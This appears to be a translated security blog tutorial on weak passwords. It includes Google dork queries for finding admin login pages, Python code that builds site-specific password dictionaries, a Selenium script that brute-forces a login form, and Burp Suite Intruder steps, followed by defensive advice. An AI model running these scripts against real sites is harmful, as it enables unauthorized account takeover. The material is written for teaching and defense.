[network security] 35. Suggestions on weak password threat, custom dictionary generation and website protection of Python attack and defense

Article directory:

  • 1, Basic concepts 1. Brute force cracking 2.Web account and password 3. Database 4.Google 5. weak password
  • 2, Python calls the exrex library to generate a password
  • 3, High precision dictionary generation
  • 4, Selenium implements violent website login 1. Generate password 2. Automatic login
  • 5, BurpSuite website penetration
  • 6, Summary

Author's github resources:

  • Reverse analysis: https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • Network security: https://github.com/eastmountyxz/ NetworkSecuritySelf-study

Statement: I firmly oppose the use of teaching methods for criminal acts. All criminal acts will be severely punished. The green network needs our joint maintenance. It is recommended that you understand the principles behind them and better protect them. The sample will not be shared with you, and the analysis tool will be shared.

1, Basic concepts

1. Brute force cracking

Brute force method, also known as exhaustive method, is a method for password decoding. Brute force cracking is considered to be one of the most direct and simplest attacks to open a system or website, and because weak passwords always exist, attackers enjoy it. Cracking any password is only a matter of time. The more complex the password, the longer the time.

2.Web account and password

Dictionary is a dictionary file containing many passwords generated according to a specific combination, including character type, number type, combination type, etc. common passwords of Web accounts, such as admin, test, guest, administrator, 666666, 123456, etc. Usually, the administrator will choose a password that is easy to remember, which will cause the account and password to be brutally cracked; Moreover, there will be some rules for passwords, such as length, character requirements, etc., which will also lead to the disclosure of some combinations.

Passwords are usually generated based on common passwords and password combination rules. Assume that the website domain name is http://demo.study.com , possible password combinations include demo, study, demo123, demoadmin demo@admin , study123, study666, etc., and then use BP for brute force cracking.

3. Database

It refers to obtaining the address of the database through some technical means or program vulnerabilities and illegally downloading the data to the local. Security personnel are very happy with this kind of work. Why? Because after getting the website database, security personnel can get the website management account to destroy and manage the website. They can also get the privacy information of website users through the database, and even get the highest authority of the server.

The keywords commonly used in the website background management portal include: admin.asp, manage.asp, login.asp, conn.asp, etc., which can be found through website image attributes, website links, website management system (CMS) and robots.txt files, including the search syntax of Google Browser: "inurl: asp?id =" and "intitle: background management"; You can also find it through wwwscan, imperial sword, ad tools, etc.

4.Google

Google provides a powerful search function to obtain accurate results. If you can't access it, you can also get relevant content through Baidu, but the result is far less accurate than Google. Common methods are as follows:

  • intitle:eastmount Search for pages whose title contains the eastmount character.
  • inurl:cbi Search for URL s containing specific characters cbi.
  • intext:cbi Search for pages whose body content contains specific characters cbi.
  • filetype:ppt Search for files of specified type and return all file URL s ending in ppt.
  • site Locate the URL associated with the specified web site. Common examples: inurl:login.asp, inurl:asp?id =, inurl:login.asp intilte: Guizhou, as shown in the figure below, query the background login page.

5. weak password

It is generally believed that passwords that are easy to be guessed by others or cracked by cracking tools are weak passwords. Weak passwords refer to passwords that only contain simple numbers and letters, such as "123", "abc", etc. because such passwords are easy to be cracked by others, thus putting the user's computer at risk, they are not recommended for users.

Common weak passwords are:

  • Consecutive or mixed arrangement of numbers or letters, and consecutive arrangement of keyboard letters (such as 123456, abcdef, 123abc, qwerty, 1qaz2wsx etc.)
  • Birthday, name + birthday (it's easy to crack using social workers)
  • Phrase password (e.g. 5201314, woaini1314, etc.)

The following figure is quoted from freebuf website, which is the list of the weakest passwords published in 2015 (this website requires 6-18 passwords). At the same time, readers are also recommended to learn the following two articles.

Weak passwords are easy to be guessed or cracked by others, so if you use weak passwords, it's like putting the door key under the mat at the door of your home. This behavior is very dangerous. Shenxin laboratory gives the following safety suggestions:

  • For managers, their account and password strength must reach a certain level;
  • It is recommended that the length of the password should not be less than 8 digits, and the password should contain at least numbers, letters and symbols;
  • Different websites should use different passwords to avoid "library collision attack";
  • Avoid using birthday, name and other information as passwords and stay away from social workers.

2, Python calls the exrex library to generate a password

The following is a brief introduction to how Python calls the exrex library to generate a password. Exrex is a command-line tool and python module that generates all or random strings that match a given regular expression, etc. It has the following characteristics:

  • Generate all matching strings
  • Generate random matching string
  • Calculates the number of matching strings
  • Simplified regular expression

The installation method can directly call the "pip install exrex" instruction, as shown in the following figure.

  • https://github.com/asciimoo/exrex

The following is an entry code for the exrex library.

# -*- coding: utf-8 -*-
import exrex

#The code that fills in the regular expression will generate the corresponding content
print exrex.getone('(ex)r\\1')

#The transformation list matches 2 hai or word
num = list(exrex.generate('((hai){2}|word!)'))
print num

#Numbers such as 3575-7048-5984-2471
print exrex.getone('\d{4}-\d{4}-\d{4}-[0-9]{4}')

#time
print exrex.getone('(1[0-2]|0[1-9])(:[0-5]\d){2} (A|P)M')

#count
print exrex.count('[01]{0,9}')

#If you know the combination of a password, you need to list all passwords
num = list(exrex.generate('[Pp][a@]ssw[Oo]rd'))
print num

Its output results are shown in the figure below. The most important thing is to combine passwords through exrex.generate('[Pp][a@]ssw[Oo]rd').

The exrex library classifies and analyzes the re.DEBUG mode to match the content. Its principle is equivalent to the following code.

# -*- coding: utf-8 -*-
import re

data = 'abcdef'
t = re.findall('a', data, re.DEBUG)
print t, '\n'

t = re.findall('a(.*)c', data, re.DEBUG)
print t

The output result is shown in the figure below. The letter "a" of ascii code corresponding to literal 97 is followed by the letter "b".

3, High precision dictionary generation

Suppose there is a website( https://demo.eastmount.com/ ), its dictionary may be composed of demo and eastmount. Let's write a code to combine its password.

# -*- coding: utf-8 -*-
import exrex

# -------------------The URL is cut and processed into a slash delimited format-------------------------
def host_pare(host):
    # Get core string
    if '://' in host: 
        host = host.split('://')[1].replace('/', '')

    if '/' in host: #demo.webdic.com
        host = host.replace('/', '')
        
    return host

# The dictionary contained in the whitelist cannot be used as the content of the dictionary
web_white = ['com', 'cn', 'gov', 'edu', 'org', 'www']


# -------------------Put the obtained hosts into the dictionary generation function-------------------------
def dic_create(hosts):
    dics = []
    
    # cutting
    web_dics = hosts.split('.')

    # Take out useful things, such as demo and eastmount, and put them into the dictionary generator
    for web_dic in web_dics:
        if web_dic not in web_white:  # Define whitelist filtering
            #print web_dic
            dics.append(web_dic)
            
    return dics

# ----------------------------------Generate dictionary password-------------------------------
def make_pass(dics):

    for dic in dics:
        #Get the contents of the dictionary
        f_pass = open('pass.txt', 'r')
        for pwd in f_pass:
            #print pwd
            pwd = pwd.strip('\n') #Filter line breaks
            
            #dic+@+pwd
            final_pwds = list(exrex.generate(dic + '[@]' + pwd))
            for final_pwd in final_pwds:
                print final_pwd
                
# ----------------------------------Main function------------------------------------
if __name__ == '__main__':
    url = 'https://demo.eastmount.com/'
    dics = dic_create(host_pare(url))
    make_pass(dics)

A pass.txt folder is defined locally to store common passwords.

Through the above code combination, the following password is generated. You can see that it is composed of demo, eastmount and our custom dictionary.

However, it will be cumbersome to modify the password in the future. We hope to write the core production rules into the configuration file to facilitate later use, so next we create a rule.ini file, whose contents are as follows. Among them, # represents comments and hints. This is a dictionary file, and the most important line of code is our rules for generating dictionaries.

Next, we continue to supplement the above code, read the file and analyze the rule (|{dic}) (|#| @) (|{pwd}) (|#| @) (|| @ 201 [6789]), which is composed of dic, special characters, pwd and year.

# -*- coding: utf-8 -*-
import exrex

# -------------------The URL is cut and processed into a slash delimited format-------------------------
def host_pare(host):
    # Get core string
    if '://' in host: 
        host = host.split('://')[1].replace('/', '')

    if '/' in host: #demo.webdic.com
        host = host.replace('/', '')
        
    return host

# The dictionary contained in the whitelist cannot be used as the content of the dictionary
web_white = ['com', 'cn', 'gov', 'edu', 'org', 'www']


# -------------------Put the obtained hosts into the dictionary generation function-------------------------
def dic_create(hosts):
    dics = []
    
    # cutting
    web_dics = hosts.split('.')

    # Take out useful things, such as demo and eastmount, and put them into the dictionary generator
    for web_dic in web_dics:
        if web_dic not in web_white:  # Define whitelist filtering
            #print web_dic
            dics.append(web_dic)
            
    return dics

# ---------------------------------------Generate dictionary password--------------------------------------
def make_pass(dics):

    for dic in dics:
        #Open profile
        f_rule = open('rule.ini', 'r')
        for i in f_rule:
            if '#' != i[0]: #Judge whether the first character is not#Indicates the configuration content
                rule = i
                print u'The rule is ', i

        #Save the generated dictionary
        fout = open('pass_out.txt', 'w')
        fout.close()
                
        #Get the contents of the dictionary
        f_pass = open('pass.txt', 'r')
        for pwd in f_pass:
            #Some passwords are weak, and the length is set according to the website
            final_pwds = list(exrex.generate(rule.format(dic=dic, pwd=pwd.strip('\n'))))
            #Traversal password
            for final_pwd in final_pwds:
                if len(final_pwd) > 6:
                    print final_pwd
                    #Save the generated dictionary
                    fout = open('pass_out.txt', 'a+')
                    fout.write(final_pwd + '\n')
                    fout.close()
                
# -----------------------------------------Main function---------------------------------------------
if __name__ == '__main__':
    url = 'https://demo.eastmount.com/'
    dics = dic_create(host_pare(url))
    make_pass(dics)

The output results are as follows:

admin2016
admin2017
admin2018
admin2019
demoadmin#2016
demoadmin#2017
demoadmin#2018
demoadmin#2019
demoadmin@
demoadmin@2016
demoadmin@2017
demoadmin@2018
demoadmin@2019
...
eastmount@
eastmount@2016
eastmount@2017
eastmount@2018
eastmount@2019
eastmountadmin
eastmountadmin2016
eastmountadmin2017
eastmountadmin2018
eastmountadmin2019
...

4, Selenium implements violent website login

Next, the author will describe a case where Python calls Selenium automatic crawler library to realize violent login of a website. For the convenience of the fifth part of the BurpSuite tool, the target website we are looking for here is HTTP. Assuming that a user name, such as xxxx, is obtained through social engineering methods, it is necessary to obtain its password to log in.

Note: there are weak password vulnerabilities in many website systems. It is easy to obtain by violence through ID card, name, job number and student number combined with common passwords. Therefore, it is recommended that everyone's password must be complex, and do not use one password for all websites. It is best to further login and verify by SMS, wechat and email.

1. Generate password

Suppose the password of a website consists of three parts - letters, numbers and underscores (Social Engineering explores password information).

Here, the author's password is set to Myc123456_, Then the construction method of obtaining password is:

  • Build common weak password: ['123456', '111111', '666666', '12345678', 'qwerty', '123456789', 'abc123'];
  • Generate the short name of the author, including case, such as Myc, Myc, Myc, etc;
  • Constructing special strings;
  • The three methods are randomly combined to construct a cryptographic dictionary; Many websites don't even need a combination. They can log in through common weak passwords such as "123456".
# -*- coding: utf-8 -*-
import exrex

# Common password weak password
pwds = ['123456', '111111', '666666', '12345678', 'qwerty', '123456789', 'abc123']

# Generate dictionary password 
def make_pass(pwds):

    #Save the generated dictionary
    fout = open('pass_out.txt', 'w')
    fout.close()
        
    #Suppose it contains three contents: 1. String YXZ 2. Numeric password 3. Underline or pound sign
    for pwd in pwds:
        #Suppose three combinations (including case) Myc123456_ 123456myc_   _myC123456
        rules = ['({pwd})([Mm][Yy][Cc])(_|#)',
                '([Mm][Yy][Cc])({pwd})(_|#)',
                 '(_|#)({pwd})([Mm][Yy][Cc])']

        #Password generation
        for rule in rules:
            final_pwds = list(exrex.generate(rule.format(pwd=pwd)))
            for final_pwd in final_pwds:
                print final_pwd
                #Save the generated dictionary
                fout = open('pass_out.txt', 'a+')
                fout.write(final_pwd + '\n')
                fout.close()
                
# Main function
if __name__ == '__main__':
    make_pass(pwds)

The final generated password is as follows:

>>> 
123456MYC_
123456MYC#
   ...
MYC123456_
MYC123456#
   ...
_123456MYC
_123456MYc
   ...
666666MYC_
666666MYC#
   ...
YXZ666666_
YXZ666666#
   ...
_666666YXZ
_666666YXz
   ...
qwertyMYC_
qwertyMYC#
   ...
mycqwerty_
MYCqwerty#
   ...
Myc123456789_ (Correct password)
   ...
_123456789MYC
_123456789MYc
   ...
abc123MYC_
abc123MYC#
   ...
MYCabc123_
MYCabc123#
   ...
_abc123MYC
_abc123MYc
   ...

At the same time, save the generated password locally, as shown in the figure below.

2. Automatic login

The following is the automatic login function implemented by selenium. The corresponding HTML source code is shown in the figure below.

  • User name: < input id = "user_name" / >
  • Password: < input id = "password" >

The complete code is shown below. It is recommended that readers learn the Selenium automation operation Library of Python, which is widely used in automated testing and crawlers.

# coding=utf-8    
from selenium import webdriver    
from selenium.webdriver.common.keys import Keys            
import time

#Visit website
driver = webdriver.Firefox()
url = 'http://www.xxxx.com'
driver.get(url)
print "start"

#Get password
username = 'myc'
f = open('pass_out.txt', 'r')
for pwd in f:
    pwd = pwd.strip('\n')
    print pwd

    #Locate user name and password
    #elem_name = driver.find_elements_by_xpath("//input[@id='user_name']")
    elem_name = driver.find_element_by_id("user_name")
    elem_pwd = driver.find_element_by_id("password")
    
    #Enter user name and password
    elem_name.send_keys(username)
    elem_pwd.send_keys(pwd)
    
    #Enter enter to log in
    elem_pwd.send_keys(Keys.RETURN)
    time.sleep(5)
    
    #Get current web address
    cur_url = driver.current_url
    print cur_url
    if 'login_error' in cur_url:
        print 'error login, the password is ', pwd
    else:
        print 'succeed login, the password is ', pwd
        
f.close()

Note that there are two forms of error messages on the website. Here, the URL is used to judge. If "login_error" appears, it indicates the wrong password, otherwise the login is successful. At the same time, the author will pass_ The output password of out.txt is reduced to 6, which can be demonstrated simply, and finally blasting is realized.

Green networks need our joint maintenance. We suggest that you understand the principles behind them and better protect them. The principles and methods behind the French Open are worth learning. It is also recommended that you build your own environmental test reproduction. If you are a developer or administrator of the website, you should know the harm of weak password, protect your customers and do a good job of password protection.

5, BurpSuite website penetration

Take a website as an example to conduct a simple penetration test. Note that it is an HTTP login request.

The first step is to intercept the request with Burp Suite, find the request parameters and tamper with them. TextBoxUserName=15200000000 TextBoxPwd=111111

Step 2: right click in the interface and select "Send to Intruder" (Ctrl+I) in the pop-up menu. At this time, the request data will be distributed to the Intruder module, and the Intruder will turn red.

Step 3: configure the cracking parameters by using the Intruder module in the Burp Suite tool, run the cracking task, and successfully crack the user name and password.

(1) Select the Positions option in the Intruder module and click the "Clear" button to Clear the special symbol "§" before and after the relevant default parameters.

(2) Select the Password parameter value (Password value requiring brute force cracking) in the request data page with the mouse, and click the "Add §" button to mark the position. TextBoxPwd=§111111§

(3) Select the Payloads option, click Load items form file, select the brute force cracking password file in the pop-up dialog box, and click open to import the cracking password list.

(4) Click the "Start attack" button to start the crack test.

(5) In the pop-up window "Intruder attack", you can judge whether the crack is successful according to the return Length. The hidden password here is "013579", which has the largest Length and is the final password. Note that the greater the Length, the greater the password match.

You can also judge whether it is successful by viewing the different information returned by Response or Status.

Bad password return information:

Correct password return information:

(6) Try to log in by cracking your password.

(7) If the password is encrypted by MD5, such as the website tested in the third part above, the following settings are required. Click "Add" in "Payload Processing" to Add hash MD5 encryption.

At this time, the click attack is an encrypted match, as shown in the figure below. Decrypt it.

6, Summary

I hope this article is helpful to you. This is the fourth Python attack and defense blog, which popularizes the harm of weak passwords, attack methods and defense measures in detail. The security suggestions for weak password prevention are as follows:

  • For managers, their account and password strength must reach a certain level;
  • It is recommended that the length of the password should not be less than 8 digits, and the password should contain at least numbers, letters and symbols;
  • Different websites should use different passwords to avoid "library collision attack";
  • Avoid using birthday, name and other information as passwords, and stay away from the harm of social workers;
  • Try the further verification mechanism of mobile phone, wechat and email;
  • Purchase online WAF and related security tools from security manufacturers to effectively intercept short-term intensive access;
  • Further protect website data and integrate anti crawler mechanism.

The reference article is as follows. Thank these big guys.

  • Analysis of Web penetration technology and practical cases on the road to security, Mr. Chen
  • "Python stunt using Python to become a hacker" teacher Connor
  • https://www.bilibili.com/video/av29479068
  • https://www.bilibili.com/video/av57850011
  • https://www.cnblogs.com/dachenzi/p/8676104.html

Added by fugix on Fri, 03 Dec 2021 01:12:58 +0200